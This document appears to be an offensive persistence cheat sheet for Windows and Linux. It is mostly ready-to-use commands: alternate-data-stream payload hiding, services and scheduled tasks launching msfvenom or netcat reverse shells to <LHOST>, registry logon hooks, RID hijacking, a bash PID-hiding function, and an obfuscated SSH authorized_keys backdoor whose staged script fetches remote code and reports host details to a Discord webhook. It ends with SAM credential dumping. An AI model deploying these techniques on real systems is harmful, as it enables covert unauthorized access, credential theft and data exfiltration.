- Alternate Data Stream Files (ADS)
- Backdoor Services
- Bash Backdoor
- Hijack File Associations
- Logon Triggered Persistence
- Normal.dotm
- Relative ID (RID) Hijacking
- Scheduled Tasks
- Security Descriptor Modification
- Special Privileges and Security Descriptors
- SSH Public Key Backdoor
- User Group Manipulation
C:\> echo <PAYLOAD> > %USERPROFILE%\AppData:<FILE>
C:\> type C:\Windows\System32\calc.exe > <FILE>:Calculator
PS C:\> Write-Output '<CONTENT>' | Set-Content .\<FILE> -Stream '<NAME>'
C:\> dir /r
C:\> dir /r /a
C:\> dir /r /a %USERPROFILE%\AppData\
PS C:\> Get-Content .\<FILE> -Stream <MAME>
PS C:\> Get-Content .\<FILE> -Stream ':DATA'
PS C:\> Get-Item * -Stream *
PS C:\> Get-Item .\<FILE> -Stream *
https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
C:\> forfiles /p C:\Windows\System32 /m notepad.exe /c "C:\Windows\Tasks\<FILE>:Calculator"
PS C:\> sc.exe <SERVICE> binPath= "C:\Calculator" DisplayName= "<SERVICE>" start= auto error= ignore
PS C:\> sc.exe start <SERVICE>
https://www.crowdstrike.com/blog/anatomy-of-alpha-spider-ransomware/
powershell -command " & {(Get-Content C:\System -Raw | Set-Content C:\ -Stream 'Host Process for Windows Service')}"
sc.exe create ssh-server binPath="C:\:Host Process for Windows Service -b 1074 <LHOST>" DisplayName= "OpenSSH Authentication Server" start= auto error= ignore
net start ssh-server
del C:\System
C:\> .\streams64.exe -s C:\PATH\TO\FOLDER\
C:\> .\streams64.exe -d C:\PATH\TO\FOLDER\
Reset a users password
.
C:\> sc.exe create <SERVICE_NAME> binPath= "net user <USERNAME> <PASSWORD>" start= auto
C:\> sc.exe start <SERVICE_NAME>
Create a reverse shell
to be triggert by the service.
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f exe-service -o <FILE>.exe
C:\> sc create <SERVICE_NAME> binPath= "C:\Windows\<FILE>.exe" start= auto
C:\> sc start <SERVICE_NAME>
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f exe-service -o <FILE>.exe
C:\> sc query state=all
C:\> sc config <SERVICE_NAME> binPath= "C:\Windows\<FILE>.exe" start= auto obj= "LocalSystem"
C:\> sc qc <SERVICE_NAME>
C:\> sc start <SERVICE_NAME>
This is an old Linux trick executed in Bash
that simply over-mounts
a particular PID
in /proc
with a useless, empty directory, so that /proc/<PID>
doesn't get populated with the usual process information (invisible to the ps
command, for example).
Requires root
permissions; either execute it in your shell or slap it into /root/.bashrc
.
Thanks to Alh4zr3d and THC for sharing!
hide()
{
[[ -L /etc/mtab ]] && { cp /etc/mtab /etc/mtab.bak; mv /etc/mtab.bak /etc/mtab; }
_pid=${1:-$$}
[[ $_pid =~ ^[0-9]+$ ]] && { mount -n --bind /dev/shm /proc/$_pid && echo "[Backdoor] PID $_pid is now hidden"; return; }
local _argstr
for _x in "${@:2}"; do _argstr+=" '${_x//\'/\'\"\'\"\'}'"; done
[[ $(bash -c "ps -o stat= -p \$\$") =~ \+ ]] || exec bash -c "mount -n --bind /dev/shm /proc/\$\$; exec \"$1\" $_argstr"
bash -c "mount -n --bind /dev/shm /proc/\$\$; exec \"$1\" $_argstr"
}
- Hide the current shell/PID:
hide
- Hide process with pid 31337:
hide 31337
- Hide
sleep 1234
: hide sleep 1234 - Start and hide
sleep 1234
as a background process:hide nohup sleep 1234 &>/dev/null &
Registry Path.
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\
Now search for the desired file extention
and change the Programmatic ID (ProgID)
.
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\txtfile\shell\open\command
Then build a PowerShell Script
and place it anywhere on the target.
Start-Process -NoNewWindow "C:\temp\nc64.exe" "-e cmd.exe <LHOST> <LPORT>"
C:\Windows\system32\NOTEPAD.EXE $args[0]
Next change the Registry Key
to point to the script.
powershell -windowstyle hidden C:\Windows\System32\<FILE>.ps1 %1
Base path for executables
which should run on user login
.
C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
The path for all users it is the following one.
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
Execution on logon can also be achieved via registry key
.
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\SOFTWARE\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\SOFTWARE\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Windows\CurrentVersion\RunOnce
Creating a new REG_EXPAND_SZ
entry with a path to the file which should be executed after loggin in, will do the job.
An alternative would be using the Windows component
which is loading the user profile
.
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
Code execution can be achived by appending
commands to either Shell
or Userinit
entries.
C:\Windows\System32\userinit.exe, C:\Windows\<FILE>
When userinit.exe
is loading the user profile
, it also checks a environment variable
called UserInitMprLogonScript
.
The variable is not set
by default
, which means it can be created and pointed to a file which should be executed.
HKEY_CURRENT_USER\Environment
Create an new REG_EXPAND_SZ
entry, named as UserInitMprLogonScript
and the path to the malicious file.
Add a macro to the Normal.dotm
which get's executed whenever any
document is opened.
Get the current RIDs
.
PS C:\> wmic useraccount get name,sid
Name SID
Administrator S-1-5-21-1966530601-3185510712-10604624-500
DefaultAccount S-1-5-21-1966530601-3185510712-10604624-503
Guest S-1-5-21-1966530601-3185510712-10604624-501
Edit the registry
by using PsExec64.exe
to add the RID
of 500
, which is a Local Administrator
to another user.
PS C:\> PsExec64.exe -i -s regedit
Path in Registry.
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\
Under the corresponding key, there will be a vlaue called F
, which holds the user's effective RID
. Those are stored
by using little-endian
notation, so the bytes appear reversed
.
500 = 0x01F4
Switched Bytes.
F401
Save it and on the next login, the user should get RID 500
assigned.
C:\> schtasks /create /sc minute /mo 1 /tn <TASK_NAME> /tr "C:\nc64.exe -e cmd.exe <LHOST> <LPORT>" /ru SYSTEM
C:\> schtasks /query /tn <TASK_NAME>
Open the follwing path in the registry.
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\
Then delete the security descriptor
for the task.
C:\> sc.exe sdset scmanager D:(A;;CCDC;;;WD)
Add SeBackupPrivilege
and SeRestore Privilege
to a user.
Export the configuration file.
PS C:\> secedit /export /cfg config.inf
Edit the file and add the username
.
SeBackupPrivilege = *S-1-5-32-544,*S-1-5-32-551,<USERNAME>
SeRestorePrivilege = *S-1-5-32-544,*S-1-5-32-551,<USERNAME>
Convert the .inf
file into a .sdb
file and load the configuration back into the system.
PS C:\> secedit /import /cfg config.inf /db config.sdb
PS C:\> secedit /configure /db config.sdb /cfg config.inf
Open the permission window
and add a user, which should granted Full Control
in order to remote login
.
PS C:\> Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI
The code and examples for this backdoor
are from the following sources.
https://blog.thc.org/infecting-ssh-public-keys-with-backdoors
The backdoor.sh
script generates the payload you need to create the malicious authorized_keys
and id_rsa.pub
files.
Please notice that this backdoor requires root privileges
.
#! /bin/bash
# Create a BACKDOOR-STUB for ~/.ssh/authorized_keys or ~/.ssh/id_rsa.pub
if [[ -t 1 ]]; then
CDR="\\033[0;31m" # red
CDY="\\033[0;33m" # yellow
CY="\\033[1;33m" # yellow
CDM="\\033[0;35m" # magenta
CM="\\033[1;35m" # magenta
CDC="\\033[0;36m" # cyan
CN="\\033[0m" # none
out(){ echo "$@";}
else
out(){ :;}
fi
# This stub is encoded for the ssh-key 'command='.
stubs(){ ###___STUBS___
# - Check if /bin/sh and .ssh have the same date. We set it to the _same_ date
# to mark that the backdoor has been installed.
# Note: Do not remove the ':' at the end of the first and last line.
[[ $(stat -c%Y /bin/sh) != $(stat -c%Y .ssh) ]] && { :
touch -r /bin/sh .ssh
###-----BEGIN BACKDOOR-----
# Anything from here until -----END BACKDOOR----- will
# be executed once when the user logs in. All output goes
# to stderr.
#
# In our DEMO example we request a backdoor script
# from thc.org/sshx. PLEASE CHANGE THIS.
#
# Note from syro: I already changed the point above
# and changed it to backdoor_staged.sh.
#
# Set a DISCORD KEY:
export KEY="%%KEY%%"
# Request and execute sshx (which will install gs-netcat and
# report the result back to our DISCORD channel)
bash -c "$(curl -fsSL <LHOST>/backdoor_staged.sh)" || bash -c "$(wget --no-verbose -O- <LHOST>/backdoor_staged.sh)" || exit 0
###-----END BACKDOOR-----
} >/dev/null 2>/dev/null & :
[[ -n $SSH_ORIGINAL_COMMAND ]] && exec $SSH_ORIGINAL_COMMAND
[[ -z $SHELL ]] && SHELL=/bin/bash
[[ -f /run/motd.dynamic ]] && cat /run/motd.dynamic
[[ -f /etc/motd ]] && cat /etc/motd
exec -a -$(basename $SHELL) $SHELL
} ###___STUBS___
# Read my own script and extract the above stub into a variable.
get_stubs()
{
local IFS
IFS=""
STUB="$(<"$0")"
STUB="${STUB#*___STUBS___}"
STUB="${STUB%%\} \#\#\#___STUBS___*}"
}
get_stubs
cmd=$(echo "$STUB" | sed 's/^[[:blank:]]*//' | sed '/^$/d' | sed '/^#/d' | tr '\n' ';' | sed "s|%%KEY%%|${KEY}|")
if [[ $1 == clear ]]; then
cmd=${cmd//\"/\\\"}
else
bd=$(echo "$cmd" | xxd -ps -c2048)
cmd="eval \$(echo $bd|xxd -r -ps);"
fi
[[ -z $KEY ]] && out -e "=========================================================================
${CDR}WARNING${CN}: The default reports to THC's Discord channel.
Set your own DISCORD WEBHOOK KEY:
${CDC}KEY=\"<API_KEY>\" $0${CN}
========================================================================="
out -e "${CDY}Prepend this to every line in ${CY}~/.ssh/authorized_keys${CDY}
and ${CY}~/.ssh/id_rsa.pub${CDY} so that it looks like this${CN}:"
echo -en "${CM}no-user-rc,no-X11-forwarding,command=\"${CDM}\`###---POWERSHELL---\`;${cmd}${CM}\"${CN}"
# echo -en "${CM}command=${CM}\"${CDM}\`###---POWERSHELL---\`;bash -c '{ ${cmd}}'${CM}\"${CN}"
out " ssh-ed25519 AAAAC3Nzblah...."
The backdoor_staged.sh
script then installs the actual backdoor which utilizes Global Socket
aka gsocket
.
#! /bin/bash
# This is an example script to demonstrate how ssh keys can be used to
# as a permanent backdoor and to move laterally through a network.
#
# If you find this on your network then somebody tested our tool and
# forgot to change the script's URL. Contact us at root@proton.thc.org.
# Discord API key
# This key can be changed HERE or you can set your own key with
# KEY=<YOUR DISCORD WEBHOOK KEY> ./gen
[[ -z $KEY ]] && KEY="<API_KEY>"
# Install GS-NETCAT and report installation back to DISCORD.
command -v curl >/dev/null && IS_CURL=1 || command -v wget >/dev/null && IS_WGET=1 || exit 0
if [[ -n $IS_CURL ]]; then
S="$(bash -c "$(curl -fsSL gsocket.io/x)")"
else
S="$(bash -c "$(wget --no-verbose -O- gsocket.io/x)")"
fi
S=${S##*S=\"}
S=${S%%\"*}
X=($(hostname; uname -mrs))
MSG="${USER} ${X[*]} -- gs-netcat -i -s${S:-BAD}"
DATA='{"username": "sshx", "content": "'"$MSG"'"}'
if [[ -n $IS_CURL ]]; then
curl -H "Content-Type: application/json" -d "${DATA}" "https://discord.com/api/webhooks/${KEY}"
else
wget -q -O- --header="Content-Type: application/json" --post-data="${DATA}" "https://discord.com/api/webhooks/${KEY}"
fi
exit 0
Now modify the authorized_keys
file and all SSH Public Key
files
root@linux:~/.ssh# cat authorized_keys
no-user-rc,no-X11-forwarding,command="`###---POWERSHELL---`;eval $(echo 5b5b20242873746174202d632559202f62696e2f73682920213d20242873746174202d632559202e73736829205d5d202626207b203a3b746f756368202d72202f62696e2f7368202e7373683b6578706f7274204b45593d22223b62617368202d63202224286375726c202d6673534c203c4c484f53543e2f6261636b646f6f725f7374616765642e73682922207c7c2062617368202d632022242877676574202d2d6e6f2d766572626f7365202d4f2d203c4c484f53543e2f6261636b646f6f725f7374616765642e73682922207c7c206578697420303b7d203e2f6465762f6e756c6c20323e2f6465762f6e756c6c2026203a3b5b5b202d6e20245353485f4f524947494e414c5f434f4d4d414e44205d5d202626206578656320245353485f4f524947494e414c5f434f4d4d414e443b5b5b202d7a20245348454c4c205d5d202626205348454c4c3d2f62696e2f626173683b5b5b202d66202f72756e2f6d6f74642e64796e616d6963205d5d20262620636174202f72756e2f6d6f74642e64796e616d69633b5b5b202d66202f6574632f6d6f7464205d5d20262620636174202f6574632f6d6f74643b65786563202d61202d2428626173656e616d6520245348454c4c2920245348454c4c3b0a|xxd -r -ps);" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDV6DHQk2GlkZeK3N2BmRStFWElTU481DY5BAWJWJhmWAzhaWYzw4pfja21ldJv5veg7I8j1Txh8yLNqbBtfXXFLBrhjEQHovF0EZOO18IDmoTpKOyveblUVZ7wZrQuRE+a0fuQPPJHR+5wj++lps7si9W4x+Ht3LJezUPiKrRuncxzophpfDrmUmnw3fKOcyEf2LIAYkU28ro8YRKddN2w7z6wgy0AE46TIgP+moBom/O8OoJEvla8sUCjJ/yPMrN2paELkJTNv7Sy+A4fKhf91rHPYWOGwSkPWVW13k0FcYoGeEsof9FjCwn+WYWFtRbigXvhiaMGN/oyzQG2h0kjWh/7SeRKOjZ2b7aj9FG7jP0RoD9UltlfE0sERBDRsxHfwaQsbooc/FmtfsKrcz+dFS/X4ox8iwYvwRc9maS4qhtP8BAx4B1CWltpi9tJf+NV3yPMsSitdh/YXSpa2n2z7TLjxz5mR34bIbC5KzntSHgqcXyozppaXO+OW2+X50k2Ra+He0iH2gQSO42F2wxxmAfKeyBkeS6iDXJ79oV0Z48ec292oRUCbx27oaGRqa0pMymp1PFhoJbTgLix9fs0bXnuD6HLwoGlKloKWOrF8pY7dKq2lgec2iGMbIgO7w4sozYUznmdQabUvFcUt2mBEERKY3Ih7MQUaN8vz9kShQ== user@linux
root@linux:~/.ssh# cat id_rsa.pub
no-user-rc,no-X11-forwarding,command="`###---POWERSHELL---`;eval $(echo 5b5b20242873746174202d632559202f62696e2f73682920213d20242873746174202d632559202e73736829205d5d202626207b203a3b746f756368202d72202f62696e2f7368202e7373683b6578706f7274204b45593d22223b62617368202d63202224286375726c202d6673534c203c4c484f53543e2f6261636b646f6f725f7374616765642e73682922207c7c2062617368202d632022242877676574202d2d6e6f2d766572626f7365202d4f2d203c4c484f53543e2f6261636b646f6f725f7374616765642e73682922207c7c206578697420303b7d203e2f6465762f6e756c6c20323e2f6465762f6e756c6c2026203a3b5b5b202d6e20245353485f4f524947494e414c5f434f4d4d414e44205d5d202626206578656320245353485f4f524947494e414c5f434f4d4d414e443b5b5b202d7a20245348454c4c205d5d202626205348454c4c3d2f62696e2f626173683b5b5b202d66202f72756e2f6d6f74642e64796e616d6963205d5d20262620636174202f72756e2f6d6f74642e64796e616d69633b5b5b202d66202f6574632f6d6f7464205d5d20262620636174202f6574632f6d6f74643b65786563202d61202d2428626173656e616d6520245348454c4c2920245348454c4c3b0a|xxd -r -ps);" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDV6DHQk2GlkZeK3N2BmRStFWElTU481DY5BAWJWJhmWAzhaWYzw4pfja21ldJv5veg7I8j1Txh8yLNqbBtfXXFLBrhjEQHovF0EZOO18IDmoTpKOyveblUVZ7wZrQuRE+a0fuQPPJHR+5wj++lps7si9W4x+Ht3LJezUPiKrRuncxzophpfDrmUmnw3fKOcyEf2LIAYkU28ro8YRKddN2w7z6wgy0AE46TIgP+moBom/O8OoJEvla8sUCjJ/yPMrN2paELkJTNv7Sy+A4fKhf91rHPYWOGwSkPWVW13k0FcYoGeEsof9FjCwn+WYWFtRbigXvhiaMGN/oyzQG2h0kjWh/7SeRKOjZ2b7aj9FG7jP0RoD9UltlfE0sERBDRsxHfwaQsbooc/FmtfsKrcz+dFS/X4ox8iwYvwRc9maS4qhtP8BAx4B1CWltpi9tJf+NV3yPMsSitdh/YXSpa2n2z7TLjxz5mR34bIbC5KzntSHgqcXyozppaXO+OW2+X50k2Ra+He0iH2gQSO42F2wxxmAfKeyBkeS6iDXJ79oV0Z48ec292oRUCbx27oaGRqa0pMymp1PFhoJbTgLix9fs0bXnuD6HLwoGlKloKWOrF8pY7dKq2lgec2iGMbIgO7w4sozYUznmdQabUvFcUt2mBEERKY3Ih7MQUaN8vz9kShQ== user@linux
$ gs-netcat -i -s3oZLTBoTv7CFkem4EMDRwb
=Secret : s3oZLTBoTv7CFkem4EMDRwb
=Encryption : SRP-AES-256-CBC-SHA-End2End (Prime: 4096 bits)
root@linux:~#
Add user to Local Administrators
group.
PS C:\> net localgroup administrators <USERNAME> /add
Add user to Backup Operators
group.
PS C:\> net localgroup "Backup Operators" <USERNAME> /add
Add user to Remote Desktop Users
group.
PS C:\> net localgroup "Remote Management Users" <USERNAME> /add
Disable LocalAccountTokenFilterPolicy
.
PS C:\> reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1
Dumping SAM
and SYSTEM
files with Backup Operator
privileges.
PS C:\> reg save hklm\system system.bak
PS C:\> reg save hklm\sam sam.bak
$ impacket-secretsdump -sam sam.bak -system system.bak LOCAL